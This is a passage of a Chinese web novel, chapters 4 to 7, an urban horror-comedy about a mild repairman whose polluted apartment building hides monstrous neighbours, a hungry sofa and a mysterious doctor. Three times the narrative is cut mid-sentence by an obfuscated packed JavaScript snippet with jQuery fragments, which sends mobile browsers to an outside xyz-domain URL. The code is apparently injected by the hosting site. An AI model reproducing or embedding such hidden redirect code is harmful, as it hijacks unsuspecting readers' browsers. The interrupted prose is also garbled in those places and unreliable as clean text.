茶几上的泡面桶微微颤动了一下,随后一点点靠近茶几边缘。 即将倾倒在地时,一只乳白色、仿佛融化的橡皮糖的豆豆手稳稳端住了泡面桶,将其送到单人沙发上。 沙发靠垫表面裂开了一道缝隙,仿佛长出了张没有牙的嘴巴。 嘴巴小心翼翼凑近泡面桶,发出吸面条一样的“嘶溜嘶溜”声。 它精准地避开了漂浮的油花,把桶里的残汤面渣,以及所有的蔬菜粒,一点不剩地吸了进去。 吸完后,那嘴巴还满足地、无声地咂巴了两下。 随后豆豆手动了动,泡面桶准确落入三米之外的垃圾桶。 做完一切后,靠垫上的嘴巴缓缓闭合,重新变回普通的沙发。 只是原本就蓬松的靠垫,比之前还鼓胀了不少。 ——散发着浓浓老坛酸菜的气息。 4. 第 4 章 昨晚陈恪睡得还不错,一大早就被窗外的阳光叫醒。 摸到手机扫了眼。 看见叮叮图标上硕大的99+的消息时,陈恪瞬间睡意全无,手机被他甩到被子上,像条死鱼。 没有比休息日看到工作群消息更绝望痛苦的事——如果有的话,那就是还要加班。 陈恪靠着床垫深呼吸。 但很快他反应过来,现在自己正在带薪休假。 表情瞬间晴转多云,陈恪有了动力起床。 窗台上的绿植在晨光中舒展叶片,他拿起喷壶,给窗边的小绿植浇了点水。 正在这时,他的手指突然顿住,随后轻轻捏起花盆里一颗布满血丝的眼球,那颗眼球的外面还沾着黑色的絮状物,仿佛是泥土。 “陈阿婆,早上好。”陈恪笑眯眯的。 指甲盖大小的小眼珠子上红血丝海葵一样轻轻晃动,似乎在表达抗议。 指尖用力,圆球发出“啪叽”的声音,仿佛牙齿磕破爆珠一样,棕红色的汁水四溢。 趿着拖鞋进了厨房,陈恪洗了手,拿出冰箱的食材做早饭。 他的生活很规律,晚上十点睡觉,早上七点钟起床,一日三餐几乎一顿不落。 之前工作的时候同事还曾经说过,他简直像个机器人。 陈恪对此只是笑了笑。 所有的厨余垃圾都被陈恪丢进了一只白色的垃圾桶。 他几乎从来不倒厨房垃圾,因为这些垃圾总会在第二天消失。 端着三明治走出厨房,陈恪在客厅的书架上随意拿了一本书看了起来。 今天看的是《刑法》。 不过打开书之前,他先回了元博文的消息。 [刚起,昨晚有遇到什么事吗?] 昨晚楼里没有情况出现,元博文应该没事。 [陈哥!早早早!今天去上班吗?] [带薪休假中,一会出门采购。] 陈恪出门时,正好遇到了隔壁的邻居。 日光透过走廊窗户斜射进来,正好照在1402的门上。 门缝中间,一个面颊凹陷,皮肤苍白的年轻人直愣愣盯着陈恪。 他脸上带着长期高压后的疲惫,头发黏连成绺,泛着诡异的反光,像是被某种透明黏液浸泡过。 “早啊,今天起这么早?”陈恪笑着打招呼。 邻居眼睛微微眯了起来,有些畏惧地避开阳光。他的大半身体隐藏在门后,听到陈恪打招呼,蜗牛般往门后缩了缩。 “昨晚通宵……加班了。”那人有气无力,仿佛挤出了肺里最后的空气,嘶哑道:“有方案要改……” 陈恪的这位邻居叫张余,是位007程序员,总是处于三种状态:准备加班、正在加班,或者刚从加班中缓过气来。 自从三个月前身体不适开始居家办公后,他的状态就更加诡异了。 张余浑浊的眼珠转了转,注意到陈恪没带工具箱:“你……你今天怎么不去上班。” 陈恪按下了电梯,听到张余的话转身,嘴角都上扬了几分:“啊,我带薪休假一周。” “叮——” 电梯到了,陈恪挥挥手:“我先走了。” 他没有往后看,因而也就不知道,身后的张余听到“带薪休假”几个字,睁大了眼睛,眼球几乎要从眼睛里掉出来。 “带薪……休假?”他干裂的嘴唇颤抖着。 最痛苦的事情是别人带薪休假环游世界,而你刚刚通宵加完班,老板通知你待会还要加班。 “这个世界竟然有人能够带薪休假?” 张余脸上的肌肉抽搐着,眼珠子从眼眶里掉了出来,却没有掉在地上,而是绕过眼镜,带着视神经晃悠悠的飘了起来,像一只蜗牛,飘到了脑袋顶上,缓慢的眨动着。 他的身后,半透明的触手从后背处延伸舞动。 整个房间没什么光线,只有几台笔记本电脑发出的微弱光源。 此时那几台笔记本正被吸盘吸在触手上。 触手的末端,无数细小触须正马不停蹄地在黑色的键盘上敲代码。另一只触手则是在聊天框里疯狂敲击。 屏幕上方,老板的话如同催命符一般弹出。 [张余你死哪去了,昨晚的方案重做听到了吗?!] 半透明的伪足在键盘上几乎擦出火花:[好的老板!您说的是!新的方案我马上去做!] [少他妈吹彩虹屁,我要效率!] 几乎是上面的消息刚发出去,下面张余就回复了:[好的老板,收到老板!没问题老板!] 另一方面,张余的本体还在门口,望夫石一样望着电梯的方向,脸上浮现出病态的羡慕,嘴里喃喃自语:“为什么?是我还不够努力吗?” …… 陈恪下楼后不久,元博文就蹦跶下来了。 “陈哥!” 陈恪脚步一顿。 阳光照在元博文那身明显价值不菲的背心短裤上,某个奢侈品牌的logo在阳光下闪闪发亮。 按理说元博文这么有钱,不至于住到睦安佳苑。 “这么巧。” 陈恪点头示意,脚步未停。过于关注邻居的事不太礼貌,而且对此陈恪并不感兴趣。 他的生活只要按部就班就好了。 “诶,陈哥。”元博文三步并作两步追上来,脸上挂着不好意思的笑容。 陈恪脚步一顿:“还有事情吗?” “我也想采购,只是不知道哪里有比较划算的超市。” 陈恪试探性地问:“那要一起?” “好啊!” 陈恪说完就后悔了。 他并非不擅长和人沟通,但元博文这种过于热情的性格让他有些招架不住。不是讨厌,而是接话需要耗费大量脑细胞。 然而让人意外的是,这个年轻人似乎完全不需要陈恪的回应。只要陈恪偶尔点个头,或是只露出一个微笑,元博文就能自顾自地说个不停。 简直属于左右脑互聊了。 或许他和刘阿婆能聊起来。 两人坐了二十分钟的公交,来到了附近的大超市。 说是大超市,其实也就只有一层楼的面积,据说污染前还有更大面积的超市,但就现在的社会环境和人口数量来说,性价比太低。 过安检的时候,元博文回头看了眼。 “咦?陈哥你污染值好低啊。” 一般来说,这样的情况只会出现在生活条件比较好的人身上,他们接触的食物和饮水都经过筛选,所以会有这么低的数值。但陈恪家庭条件看起来并没有很好,穿着打扮也都是普通水平。 陈恪看了一眼数字,随口说:“多锻炼锻炼,加快新陈代谢,身体素质提升上来了,免疫力就强了。” 元博文愣了,锻炼能掉污染值吗? 那健身房岂不是要挤爆了? 他觉得哪里不太对,但看着陈恪坦然的样子,又说不出来问题在哪。 超市里,陈恪熟练地挑选着特价区的蔬菜。这些蔫头耷脑的青菜虽然卖相不佳,但胜在价格便宜,足够补充今天的膳食纤维。 正盘算着今晚的食谱,余光却瞥见元博文推着满满一车有机食品往收银台走。 元博文按照自己平时的饮食水平选取食材,结账的时候却傻了眼。 “这么贵吗……” 他眼巴巴望向陈恪。 陈恪抬头望天。 两人仿佛是陌生人。 最终,那车有机食品换成了一大箱泡面。 结完账,他冲着陈恪露出了一个讨好的笑容:“没办法,被家里赶出来,没钱吃那么好了。” 回程的公交车上,元博文抱着泡面箱子,向陈恪说了自己的故事。 故事要从真少爷回到元家开始说起,没错,元博文就是那个豪门假少爷。 养父母毫不留情地将他扫地出门,冻结了卡,禁止他带走家里的东西。 关键的是,他的亲生父母早就死在了两年前的污染事件中。 好在元博文手机里还有点零花钱,不至于立刻饿死。 陈恪震惊。 拿出手机APP看了眼,确定自己没有穿越到绿江小说里。 元博文眼神黯淡,苦笑道:“我也没想到有朝一日会落到现在的地步。” 陈恪生硬地拍了拍元博文的肩膀:“没事,你还年轻,有手有脚,做什么工作都饿不死的,实在不行你去我们公司……上班好了。” 元博文猛地抬起头,眼眶泛红:“哥!你就是我亲哥……” 十分感动的元博文说他要和陈恪分享零食,陈恪欲言又止,没等拒绝,元博文就跑了。 下了电梯,陈恪拿出钥匙开门,金属碰撞声在空荡的楼道里格外清脆。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172130|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在此时,一阵黏腻的蠕动声从背后传来。 “回来了啊……” 声音像是从湿漉漉的下水道里挤出来的。 平日里沉默寡言的邻居此刻双眼通红,皮肤上渗出透明的黏液,泛着诡异的光泽。 “我已经……半年没休假了……”张余的眼睛不正常地软化,从眼眶里伸了出来:“我一个人干三个人的活,老板却还给我加活,为什么你有假期……” 楼道里面的灯忽明忽暗,某种半透明的胶状物质正从402的门缝里缓缓渗出,悄无声息地向陈恪脚边蔓延。 “张余,你没事吧?”陈恪转过身,声音温和关切:“你脸色很差。” 他逆光而立,看不清表情,修长的身影在走廊上投下长长的阴影,却将张余内心最阴暗的角落都照得无所遁形。 一股说不清道不明的感觉出现,张余僵在原地,连地上蠕动的黏液都凝固住了。 他茫然地眨着眼,两根湿漉漉的眼柄在头顶不安地扭动。 是啊,公司垃圾,老板该死,关陈恪什么事? 张余苍白的脸上浮现出悔意,他垂下头,长长的粘液状头发挡住了他的脸,但两只触角依旧显眼:“我,我没事,可能是太累了,喝点咖啡就好了。” 地上的液体一点点退回门内。 “那就好,不舒服的话你去医院看看。” 陈恪说完,转过身继续开门。 “谢谢你的关心——” 张余话还没说完,刺耳的手机铃声炸响。 手机屏幕上,“老板”两个字正在疯狂跳动。 特殊的提示音让张余的眼睛瞬间红了,但他还是颤抖着按下按键。 接通的瞬间,咆哮声穿透了整个楼道:“张余!你他妈死哪儿去了?!你写的什么狗屎代码!甲方现在要把我头拧下来!” “抱歉老板,我这就——” “道歉有用的话要你干吗?你那个三流野鸡培训班毕业的脑子,是不是塞满外卖了?啊?写代码前能不能用你那退化的猪脑子想想?!要是九点前还没改好,你这个项目的绩效取消,你看看人家隔壁组……” 张余什么都听不见了。 他的意识再次不受控制的漂浮起来,仿佛脱离的身体,而原本的身体蜡烛一样开始融化,数条半透明触须疯长,在浑浊的空气中痉挛般扭动。 那长长的触角飘动,视野里只剩下了眼前的青年的身影。 为什么他有带薪假期,自己却要被老板痛骂? 为什么倒霉的总是自己?为什么明明那么努力了,却还是得不到肯定? 为什么身体不适的时候还要加班,咳嗽到吐血倒地爬不起来还要写代码? 为什么? 为什么? 为什么?!!! “咔!” 1402的房门被黏液冲开,一头由半凝固黏液构成的庞然大物堵塞了整个走廊。 “为什么啊,你能带薪休假?我却必须加班……” 他似乎想不明白事情,但他也不知道自己有什么想不明白的,只是嘴巴里机械回荡着:“为什么……” 钥匙已经插进了锁芯,但陈恪没有推门而入,脚步一转,手摸向裤兜,同时大步走向张余。 聚集在楼道里的怪物身躯颤抖着,仿佛因为陈恪的自投罗网而喜悦。 吃了他,他就再也不能享受带薪休假了! 快快快!快吃了他! 硕大的怪物张开巨口,透过薄薄的皮肤,能够看到半透明的体腔内,痉挛的胃袋正剧烈蠕动,为即将到来的食物做准备。 陈恪脚步没有丝毫慌乱。 他缓缓仰起头,一只手的手里好像拿着什么,另一只手臂举过头顶,指间紧握的手机屏幕在昏暗的光线下泛着冷光。 似乎青年身上有什么特殊磁场,那对蛞蝓般的眼珠停止了无序的转动,眼柄向下,弯曲成夸张的弧度,顺着陈恪的动作聚焦在他的手机上。 看清屏幕的瞬间,楼道里汹涌翻滚的半透明触手停滞在空中。 ——手机显示的正是陈恪上个月的工资条。 巨大的3500占据了张余的整个视野。 “当然因为程序员工资高。” 陈恪又往前走了几步,将手机怼到张余眼前,几乎和那双眼珠子贴住: “我想干还干不了呢!” 5. 第 5 章 没上过大学,陈恪工作的可选择性少了很多,面对老板的pua也不好反抗,否则他当天就离职了。 张余的理智回笼了。 他蜗牛般的眼睛瞪得滚圆,看着工资条上的3500久久反应不过来,脑子里全是: 他工作应该挺久了,怎么就这么点工资? 每天都出门,遭受风吹雨淋,怎么还不如我不出门挣得多? 有的人看着光鲜亮丽,实则负债累累,怕不是饭都要吃不起了? 我大不了辞职还有点存款,但陈恪辞职了真的能活下去吗? “张余,你一个月工作多少?” 张余注意到,陈恪手上不知道什么时候握了把小刀,银光在他的指尖流转,像只翻飞的蝴蝶。 张余结结巴巴地撒谎:“工作五年,到手七、七千吧。” 到手工资还要更高一些,但为了保护陈恪的自尊心,张余并没有说真话。 刀尖在灯光下划出危险的弧线。 张余的喉结滚动,后背渗出冷汗,现在他手里没有任何武器,无论怎么看都是自己吃亏。 “你、你要干什么……杀人是犯法的。” 他咽了咽口水。 这个平日里总是温和友善的维修工,此刻在他眼中却如同某种不可名状的恐怖存在。 ——他会被捅死的! 臃肿庞大的身躯不知何时已经消失,唯余面色苍白,身体正微微颤抖着的张余。 细瘦苍白的身体上挂着蓝色的格子衬衫,湿漉漉的衣服贴在身上,仿佛从史莱姆里捞出来的一样。 张余踉跄后退,赤着的脚在地面打滑,一个没站稳,跌倒在黏液里。他慌乱抬头,望向陈恪靠近的身影。 “对,对不起,我刚刚只是加班太多出现幻觉了,我不是嫉妒你,毕竟你这个工资……” “我不是瞧不起的意思,你是个勤劳的人,我不是人,啊不对,我不是个勤劳的人,如果你不开心的话,把今天的事情忘了吧,或者打我一顿也行……” 他不知道自己在说什么,但感觉如果再不做点什么,陈恪就要做什么了。 张余别的不擅长,但在滑跪这一块,他还是颇有心得——无论是老板还是在其他任何人的面前。 陈恪脚尖几乎是贴着他的大腿停了下来。 他蹲下身,栗色的眼望向张余,弯了弯:“你叽里咕噜说什么呢?” 张余抖着嘴唇,感觉后背出了一层黏腻的冷汗。 他哆哆嗦嗦去摸眼镜,但那东西早就不知道什么时候飞了出去。 “我,我可能是压力太大了……” 两人正说着话,消防门被猛地推开。 “我草。” 元博文站在门口,手里捏着一个空薯片袋,眼睛瞪得溜圆。 陈恪蹲着,离张余也就十几厘米的样子,而后者一只手撑在地上,身上的衣服松松垮垮,还有一地黏黏糊糊的液体…… 元博文一脸震惊。 陈恪表情还算镇定,只是起身的动作很快:“你怎么这么快就下来了?” 元博文看了眼张余:“那我走?” 空气中弥漫着一丝淡淡的尴尬。 “夭寿啦!”一道尖细的嗓音撕破了僵持。 刘阿婆不知道从哪里冒了出来,佝偻着背,一只手背在身后,两只脚安了马达一样转个不停,一只手对着张余指指点点。 “你个衰仔,家里洗衣液爆炸了吗,怎么整个楼道都是黏黏糊糊的?!这不是给楼管增加工作量吗?你不怕它找你麻烦?” “上次你的垃圾不分类,它都消化不良啦!塑化剂怎么没有吃死你?!专家说这些东西都不健康……” “老孙头死之前也爱熬夜,后面去医院检查,整个脑子都没了,只有芝麻那么大,你说奇不奇怪?” “对了,我上次好像看到你和你们老板打电话,他是不是骂你了……” 张余的脸色变得惨白,皮肤正在以肉眼可见的速度变得透明。 陈恪皱眉打断她:“张余,需要去医院吗?” 坐在地上的张余抬头,而后撑着门框起身,“不、不用了,我只是加班太多,缓一缓就好了。” 他微微欠了欠身:“阿婆,谢谢你的提醒,我以后会注意的。” “我家老头从楼梯滚下来摔断脖子前,也说过这话。”刘阿婆咧嘴一笑,牙缝里面黑黑的,不知道刚刚吃过什么。 张余被噎了回去,弱弱瞪了她一眼:“是吗,那您日常也要多注意,小心点。” 陈恪推了推元博文:“进去吧。” 刚刚几人说话之际,陈恪已经打开了大门。 元博文听到了他的催促之意,正迈了一条腿进去,刘阿婆沙哑的嗓音突然从背后传来: “靓仔,昨晚睡得怎么样?” 她转过身,布满皱纹的脸正对着自己,浑浊的眼珠里泛着诡异的笑意。 刹那间,一股刺骨寒意顺着脊梁蹿上来,空气中仿佛浮现出无数黑色絮状物,阴冷的目光从四面八方将他钉在原地。 元博文僵在原地,脑海中有什么呼之欲出。 “发什么呆?” 陈恪余光扫了眼刘阿婆,一把将元博文推进屋内,反手关上门。 “手里为什么拿着一个空薯片袋子?” 元博文低头看了眼手里皱巴巴的包装袋。 “我上去拿零食,发现行李箱被人翻过……所有吃的都不见了。” 元博文走得匆忙,养父母不让他带东西,但以前的零食倒没有阻止。 那些昂贵的进口薯片是他最后的慰藉。可上楼时,房间里弥漫着老坛酸菜和薯片的混合气味,却找不到半点残渣,就像有东西把包装袋都舔得干干净净。 “咱们楼是不是有贼啊!”元博文将手里的空袋子放在茶几上。 这间屋子和他的面积差不多大,浅灰色沙发旁的透明茶几纤尘不染,干净利落,像陈恪给人的感觉一样。 元博文注意到,窗台有株造型奇特的绿植。 像迎着阳光生长的弯曲竹笋和火龙果的结合体,表面覆盖着灰白色的绒毛,层层叠叠。 陈恪面色严肃:“有可能,我以前也被偷过,后来就习惯了。要不你还是搬走吧?” 元博文垮了脸:“偷就偷吧,一点吃的不算什么,但离开这里我才真要露宿街头。” 他来到客厅的书架前,这里有一整面墙的书,维修类的书籍被放在了下面,书脊有些老旧,似乎以前经常翻阅,但现在不怎么看了。 而让元博文意外的是,剩下的大部分的书都是关于法律的,还贴心地为这些书都套上了防尘袋。 看来陈恪有当律师的梦想呢。 “你以后见到刘阿婆,尽量离她远点。” “刘阿婆?刚刚的老奶奶吗?”元博文有些好奇:“她怎么了?” 陈恪端起杯子抿了一口水。 “刘阿婆,咱们小区的万事通,她知道很多事情,包括很多不应该知道的事情。” 元博文想起奶奶在世时,跟他讲过:没有污染前,老人们总会坐在村头交换家长里短,邻里纠葛。 “人年纪大了,就喜欢到处串门。”元博文笑了笑:“现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172131|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 污染严重,能活到她那个岁数,身体素质挺好。” 陈恪看他一眼。 都是污染物了,身体能不好么? 元博文也端起水杯喝了一口。 虽然只相处了短短两天,但元博文能感觉到,陈恪是个好人,既然他特意提醒了,一定有他的道理。 或许刘奶奶身上的污染很严重也说不定。 灾难发生后,空气中便有了那种无法名状的污染。 它像氧气般无处不在,又像瘟疫般悄然传染蔓延。 陈恪或许就是考虑到了这一点,怕他被传染,所以才提醒。 “对了,刚刚那个奶奶说楼管……” 元博文不知道是不是听错了,但当时租房时,他直接在网上找的房子,连看都没看就定了,生怕房东后悔。 当时可没听过有什么楼管。 陈恪起身走向厨房,听到这话微顿:“存在感很低,有的时候会帮我们打扫楼道,倒倒垃圾什么的,不用刻意管它。” 元博文油然升起一股敬佩。 这栋楼都已经快没人了,还有楼管,开发商也太负责任了吧? 陈恪从厨房取出半块西瓜:“要来点吗?” 元博文好久没有吃过新鲜食物,此刻看着西瓜口水都要流下来了。 “我来我来,陈哥你坐,怎么能让你切呢?” 元博文连忙接过西瓜,冰凉的西瓜入手的一刹那,夏日的感觉扑面而来。 看到鲜红的瓜瓤,元博文眼眶发热,这真的是他这个月最幸福的一天了。 厨房收拾得很干净,厨具井井有条地放置。 找来案板,放上西瓜,拿出菜刀。 元博文哼着不成调的小曲,菜刀在西瓜上起起落落。 “哆、哆”的声响中,鲜红的汁水顺着木质菜板蜿蜒而下,流到了料理台上。 这些汁水在接触料理台的刹那就被吸收了。 柜门缝隙间传来细微的吞咽声。 不够,还不够…… 它将视线投到了红绿相间的巨大果实上。 元博文专注地切着最后一刀,完全没注意到刚刚发生了什么。 就在他的手捧起两牙西瓜的时候,突然感到了一丝异常的阻力。 “嗯?” 元博文低头一看,瞳孔骤然收缩—— 一只通红的、半透明的豆豆手从料理台内部穿透而出,正贪婪地摩挲着西瓜翠绿的外皮。 “啊啊啊!” 元博文噔噔噔后退几步,重重撞上冰箱门。 “什么事?”陈恪推门而入,目光在元博文惨白的脸上停留片刻,又转向料理台。 元博文喘着粗气,嘴一张一合,手指着料理台,似乎想说什么,但一个字也说不出口。 “还是我来吧,你可能在家不怎么切西瓜。” 陈恪越过他,却被元博文拉住了衣角,后者疯狂摇头:“手、有手……” 陈恪垂眼看向料理台。 通红的小手突然僵住,放下西瓜,像是感知到了危险。 陈恪抄起案板上的菜刀,猛地砍了下去—— “哆!” 暗红的汁液喷溅在瓷砖墙上。 元博文恍惚间听见一声尖锐的、不属于人类的呜咽。 等他一口气缓过来的时候,正好陈恪转过身。 红色汁水四溅的案板被他挡在身后,手中果盘里,切好的西瓜摆成整齐的月牙形。 他的脸颊上溅着几滴西瓜汁,嘴角噙着若有若无的笑: “说什么呢?哪里有手,我怎么没看见?” 6. 第 6 章 “我……”元博文嗓子有些干涩。 他怎么从陈恪的脸上看到了残忍和危险? 一定幻觉……是忘记吃药导致的吧? “你什么?” 西瓜新鲜的汁水直往下流,沿着陈恪的指缝蜿蜒,滴落在瓷砖上,绽开。 元博文咽了咽口水:“我觉得我得吃药了。” “吃完西瓜再吃也不迟。”陈恪把果盘往他面前推了推,转身走向厨房,“你先吃,我去收拾一下厨房。” 元博文顺从地坐在沙发上,盯着眼前通红的、多汁的西瓜。 鲜红的果肉在灯光下泛着诱人的光泽,泛起的食欲渐渐冲淡了恐惧。 元博文拿起了一块西瓜—— “哆!” 厨房突然传来一声闷响,像是菜刀狠狠剁进砧板的声音。 元博文的手一抖,西瓜差点掉在地上。 他想到了幻觉里面的那只手。 不会吧…… 陈恪很快出来了,他的脸上还挂着水珠,干干净净,只是衣服上却莫名其妙多了大片西瓜汁。 难道厨房冰箱里还有西瓜给他切吗? “怎么了?”陈恪的语气十分平静。 元博文扯出个不自然的笑:“陈哥,你们家有抑制药吗?” “抑制药,那是——” 陈恪反应了几秒,恍然道:“哦,抑制药啊!我刚刚吃完,没了,地铁口有家药店,你要不去买点?” 他的表情真诚,眼里危险的气息消失得无影无踪,又变回了那个温和的邻居。 元博文揉了揉脑袋:“不好意思,我今天身体不舒服,我去买药了。” 他放下了手里的西瓜,就要和陈恪告别。 陈恪关心道:“实在不舒服就去医院,不然我带你去?” “不用。”元博文摆摆手,勉强挤出一个笑容,“让你费心了陈哥。” 见他去意已决,陈恪也不拦着,送走元博文之后,陈恪回到了厨房。 厨房里,鲜红的汁液像泼墨般溅满了墙壁和天花板。 地面上,蚯蚓一样的通红触手在地上抽搐翻滚,断口处整齐得像是被什么东西干脆利落地切下,随着抽搐,时不时冒出猩红的液体。 离开“本体”后,这足肢渐渐失去了活力,干瘪发黑,变成了、类似于枯树枝一样的东西。 陈恪盯着那根枯树枝看了一会儿,将它扔进了厨房垃圾桶里,然后去洗手间拿了拖把。 - 元博文一口气买了很多盒抑制药,回到家先吃了两片。 这个世界到处都有污染,作为一名正常人类,每天都要吃抑制污染的药物,才能避免在寿终正寝前变成没有意识的污染物。 往往人们遇见熟人打招呼的时候,第一句话就是:“今天吃药了吗?” 元博文前几天受的打击太大,才想起来这两天忘记吃药。 冰凉的水滑过喉咙,药片在胃里溶解。元博文靠在沙发上,感受着眼前的世界重新变得清晰而稳定。 污染浓度超标,最先出现的就是幻觉,会听见不存在的声音,看见不该存在的东西,甚至无法意识到自己正在或已经被污染。 思维奔逸、不受控制的天马行空,各种极端想法和思维不受控制地涌现,这些都是被污染之后的表现。 元博文眨了眨眼睛,感觉自己情绪状态稳定多了。 他强迫自己不去回想刚才在陈恪家看到的……一定是幻觉,必须是幻觉。 他拖着疲惫的身体倒在床上,很快沉入梦乡。 就在他陷入沉睡以后,房间里响起了细微的声响。 黑暗中传来“嘶嘶”声,像是漏气的轮胎。 客厅的沙发靠垫无声地裂开一道缝隙,接着裂缝开始蠕动、扩张,变成了一张造型奇特的“嘴”。 这张嘴的嘴唇嚅动,窸窸窣窣,吱吱呀呀,仿佛在哭泣一样。 - 周一时,陈恪收到了书店店主的消息,说自己之前订的书到了。 彼时他正在玩游戏,第一时间回了老板消息,说自己下午就去拿。 出大楼前,他遇到了元博文。 他手里提着一个大塑料袋,芹菜从里面冒头,半个西瓜在另一只手里晃悠。 “陈哥!” 吃了药,元博文果然精神稳定多了,脸上的恐惧消失,又恢复了那种阳光灿烂的笑容。 陈恪同样打了招呼:“刚买菜回来啊?” 元博文:“是,那天看你的厨房,我也想试试。” 他腼腆地笑了笑,“就是刀有点钝……” “有把锋利的菜刀傍身,确实也能安全一点。” “什么?”元博文没有听清陈恪的话。 “我说注意安全。” …… 新陵市的太阳毒辣得能把人烤化。 陈恪推开书店门时,额前的碎发已经被汗水浸透。 “小陈来啦!”店主李叔从柜台后抬起头,看到陈恪来乐呵呵的。 老旧的电扇在头顶吱呀转动,却驱散不了丝毫暑气。 “一收到您的消息我就来了。”陈恪眼睛扫了过前台,指着放在桌子边缘的蒲扇,露出笑容:“能借我用一下么?” 得到许可后,陈恪拿起扇子猛扇几下。发丝飞扬间,露出他沾着细汗的额头。 在睦安佳苑的时候冬暖夏凉,连暖气费都不用交,一出来就体会到了天气的恶劣,恨不得把人皮都揭下来一层。 想到厨房的干枯的黑色“蚯蚓”,陈恪忏悔了一秒。 老板笑呵呵的:“我这次进的是今年的新版,你快看看。” 陈恪接过店主手里的小红册子,翻了翻,边看边点头:“确实,看来我家里又要换一批了。” 两人正聊着,一道身影推门而入。 室外热浪翻滚,但男人迈入的瞬间,带来了一丝凉气。 是上次在书店见过的男人。 这次他没有穿西装外套,只穿了一件白色衬衫,纽扣严谨地系至顶端,衬得整个人冷峻而疏离。 陈恪抬眼,冲他笑了笑。 男人和陈恪对上视线,显然也认出了他。 “谢医生,这么快又来了。”店主有些惊讶,绕过柜台迎接他:“上次的书已经看完了吗?” 男人轮廓深邃,薄唇紧抿,是有些冷漠的长相。 尤其是那双眼睛,灰绿色的虹膜转动,看向店主的眼神似乎带着一种审视——就像在评估一件物品。 陈恪一愣。 刚刚那个眼神…… 男人眼睫轻颤,再望向店主时,眼神带上了一些温度。 “嗯,看完了。” 他的声音低沉悦耳,语气礼貌,无论从穿着还是谈吐,处处彰显良好的教养。 店主惊讶:“那么厚一本大部头……你们看书都挺快的,那这次想看什么书?” “随便看看。” 明明不是对着陈恪说,但陈恪却觉得那道视线若有似无地落在自己身上。 说完,男人就移开视线,迈步走进了书店深处。 店主跟着他进去,陈恪却在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172132|180731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思考刚刚是不是自己出现了错觉。 不多时店主回来,手里拿着几本新的大部头:“这些也是版本更新后的,今天和册子一起到,都给你找来了。” “谢谢李叔。”陈恪双手接过,扫码付了钱:“我降一降温再走可以吗?” “你下午跟我一起吃饭都成。”店主乐呵呵的:“我女儿工作忙,基本不回家,之前还说要给我店里换空调,不知道要等到什么时候了……” 陈恪听着店主讲话,又拿起了扇子继续扇,同时将一部分注意力放在男人的身上。 他注意到,男人在医学类的书籍前徘徊了许久,然后拿起了上面的一本《生理心理学》看了起来。 店主刚刚叫他医生,这人是个医生? 陈恪又观察了几分钟,并没有从对方身上察觉到污染物的气息。 他放下扇子,对老板笑道:“休息好了,那我先走了。” 店主从柜子下面拿了瓶水,塞进了陈恪的怀里:“行,有空多来转转。” 陈恪走后,店主重新回到了前台,握着刚刚陈恪拿的扇子扇风,与此同时点开了手机短视频。 刷的正入迷时,老人面前投下了一大片阴影。 “谢医——” 谢闻渊俯视老人,灰棕色的眼眸如同无机质的玻璃般冰冷。 “他叫什么名字?” 店主的瞳孔失焦,嘴唇不受控制地颤抖着:“陈恪。” 这个名字在谢闻渊的齿间碾磨。 他抬眼望向青年离去的方向。 第一次见陈恪,是在那个雨天。 甜腻的气息穿透雨幕,从窗缝渗入,猝不及防地侵入他的感官。 彼时谢闻渊坐在车里闭目养神,这突如其来的气味让他猛地睁眼,呼吸都急促了几分,身旁的手机在无形的力量下瞬间化为齑粉。 气味源头是个拿着黑伞的年轻人,修长的身形倚在站台边,神情闲适。 看似普通,却意外的敏锐。 当谢闻渊的视线落在他身上时,青年立即有所察觉般抬头。 谢闻渊不动声色地移开目光。 车辆驶过转角后,他独自下车,尾随青年来到这家书店。 巧合的是,这家店他之前曾造访过。 隐匿身形,他准备近距离观察这个特殊的人类。 店里,那股气息愈发浓郁,像熟透果实被碾碎后迸发而出的汁液,甜美的芬芳萦绕不去,让他不自觉地靠近,嗅闻。 当他低头时,意外对上了陈恪的视线。 ——陈恪能看到他。 他看着他的眼神就像看普通人一样,仿佛谢闻渊在他的眼里,和店主和其他人类没有什么区别。 这样的认知让谢闻渊感到冒犯。 但在这里动手并不是什么明智的选择。 他留下了记号。 今天,他循着记号再次出现在了书店。 可惜的是,没有再从青年的身上嗅到那股甜香。 失去了特殊气味的青年和其他人类没什么区别,他坐在前台,望向自己的眼神带着好奇。 但谢闻渊已然失去探究的欲望。 他的时间宝贵,不该浪费在平庸的人类身上。 …… 风扇呼呼转动着。 店主猛地打了个寒战,这才惊觉自己坐在前台出神了太久。 店里空无一人,手中的扇子也不知所踪。 “没休息好吗?” 店主喃喃自语,抬手摸到满额冷汗。 “……奇奇怪怪。” 7. 第 7 章 陈恪拎着捆好的一摞书坐上了回去的公交。 